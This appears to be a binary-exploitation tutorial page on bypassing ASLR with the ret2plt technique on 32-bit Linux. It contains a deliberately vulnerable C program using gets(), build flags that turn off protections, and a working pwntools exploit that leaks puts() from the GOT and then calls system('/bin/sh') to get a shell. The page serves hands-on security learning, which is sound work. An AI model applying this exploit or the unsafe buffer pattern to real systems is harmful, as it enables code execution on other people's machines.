description | cover | coverY |
---|---|---|
09/20/2023 |
9 |
This will feature x86 and x64-based exploitation.
Need a refresher on ASLR?
{% content-ref url="memory-protections/address-space-layout-randomization-aslr.md" %} address-space-layout-randomization-aslr.md {% endcontent-ref %}
Address Space Layout Randomization, or ASLR is very similar to PIE.
However, it is implemented at the kernel level of the underlying operating system.
The base address of the string and the functions are going to be randomized with each execution of the binary.
With ASLR enabled, you can visualize this by running ldd
against your target binary a few times:
Here, we will be taking advantage of the ret2plt technique that involves calling puts@plt
and passing the GOT entry of puts()
as a parameter.
This will cause puts()
to print out its own address in libc
.
- How cool is that?!
This will allow us to leak the ASLR base. Essentially, we need to craft a payload that leaks the real address of puts()
.
As we learned in overwriting-global-offset-table-got.md, we know that calling the PLT entry of the function is the same as calling the function itself. If we point the parameter to the GOT entry, it will print out it's location/address.
This is because C string arguments for functions take pointers of where the string can be found.
Ultimately, pointing it to the GOT entry will print it out.
NOTE: It is important to note that ASLR must be enabled and PIE MUST be disabled in order to ensure that ret2plt works correctly. Also, this will allow you to bypass NX as well.
Enable ASLR if you have it disabled from previous challenges:
sudo echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
{% embed url="https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass" %}
{% embed url="https://sharkmoos.medium.com/binary-exploitation-exploiting-ret2libc-328eefb0421b" %}
vuln-32.c
:
#include <stdio.h>
void vuln()
{
puts("Can you reach me?!");
char buffer[20];
gets(buffer);
}
int main()
{
vuln();
return 0;
}
gcc vuln.c -o vuln -no-pie -fno-stack-protector -m32
checksec
:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
- 32-bit executable
- NX Enabled
- No PIE (important)
- Remember, ASLR should be enabled
file
:
{% code overflow="wrap" %}
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=a0f25810be2712c4f32922a70c705efd5d984665, for GNU/Linux 3.2.0, not stripped
{% endcode %}
Note: be sure to read the comments embedded in the exploit code to further understand how the exploit is behaving.
exploit.py
:
from pwn import *
# Basic pwn template setup
elf = context.binary = ELF('./vuln')
libc = elf.libc
p = process()
# We need a payload that will leak the actual address of puts()
# Remember, calling the PLT entry of the function is the same as calling the function itself
p.recvline() # Receive the first output
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'], # Main??? This is acting as the return address. However, if we set it to something random, it will leak the libc base and crash but if we were to call main() again, we would simply restart the binary.
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4)) # The GOT entry will not be the only thing printed. puts() will be. It will be printed as a null-byte. This means it will keep on printing GOT addresses, but we only care about the first one. So, we will grab the first 4 bytes and utilize u32() to interpret them as a little-endian number.
p.recvlines(2) # This means we will ignore the rest of the values as well as the puts() output from calling main() again.
# Next, we will calculate the libc base and perform a ret2libc attack
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC Base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'], # Call system() from libc
libc.sym['exit'], # Call exit() from libc to exit gracefully. exit() is not required here, it's just nicer
next(libc.search(b'/bin/sh\x00')) # Search for the string "/bin/sh" in libc and append it as an argument to system() found in libc.
)
p.sendline(payload) # Send payload
p.interactive() # Obtain interactive shell
Here, we can utilize a similar methodology, however since we are working with x64, we will need to utilize ROP gadgets to inject our data into the registers.
Coming soon.